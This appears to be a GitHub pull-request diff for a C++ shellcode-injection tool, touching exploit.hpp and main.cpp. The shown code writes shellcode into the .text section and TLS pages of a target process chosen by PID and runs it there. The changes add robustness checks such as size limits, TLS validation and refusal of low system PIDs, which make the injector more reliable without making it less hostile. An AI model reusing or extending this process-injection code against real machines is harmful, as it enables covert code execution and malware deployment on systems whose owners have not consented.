Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
18 changes: 16 additions & 2 deletions exploit.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,11 @@ bool ExecuteShellcode(UINT32 pid, UINT64 shellcodeStart, UINT64 shellcodeEnd, vo
DWORD shellcodeSize = 0;
IMAGE_SECTION_HEADER* section = IMAGE_FIRST_SECTION(nt);
for (UINT i = 0; i < nt->FileHeader.NumberOfSections; i++)
{
{
if (section->SizeOfRawData < 0x1000) {
Log("Section too small for shellcode injection");
return 1;
}
if (strcmp((char*)section->Name, ".text") == 0)
{
//Assumes enough space at end of .text to drop shellcode
Expand Down Expand Up @@ -59,6 +63,12 @@ bool ExecuteShellcode(UINT32 pid, UINT64 shellcodeStart, UINT64 shellcodeEnd, vo
Log("Failed to allocate memory for tls");
return 1;
}

if (!tlsAddress || tlsAddress == INVALID_HANDLE_VALUE) {
Log("Invalid TLS address, aborting injection");
return 1;
}

memcpy(tlsPage, (PVOID)((UINT64)tlsAddress & ~0xFFF), 0x1000);
memcpy((PVOID)((UINT64)tlsPage + 0x1000), (PVOID)((UINT64)tlsAddress & ~0xFFF), 0x1000);
tlsPage = (PVOID)((UINT64)tlsPage + ((UINT64)tlsAddress & 0xFFF));
Expand Down Expand Up @@ -96,6 +106,10 @@ bool ExecuteShellcode(UINT32 pid, UINT64 shellcodeStart, UINT64 shellcodeEnd, vo
//}
}

if (shellcodeAsmSize > shellcodeSize) {
Log("Shellcode too large for allocated section");
return 1;
}

memcpy(shellcodePage, (PVOID)modifiedShellcode, shellcodeAsmSize);
VirtualFree((PVOID)modifiedShellcode, 0, MEM_RELEASE);
Expand Down Expand Up @@ -150,4 +164,4 @@ bool ExecuteShellcode(UINT32 pid, UINT64 shellcodeStart, UINT64 shellcodeEnd, vo
VirtualFree((PVOID)((UINT64)tlsPage & ~0xFFF), 0, MEM_RELEASE);

return 0;
}
}
7 changes: 5 additions & 2 deletions main.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -18,12 +18,15 @@ int main(int argc, char* argv[])
}

UINT32 targetPid = atoi(argv[1]);

if (targetPid <= 4) { // system PIDs are unsafe
Log("Invalid or unsafe target PID");
return 1;
}
ExecuteShellcode(targetPid, (UINT64)&Shellcode, (UINT64)&EndOfShellcode, +[](UINT32 pid) {
system("pause");
});



return 0;
}
}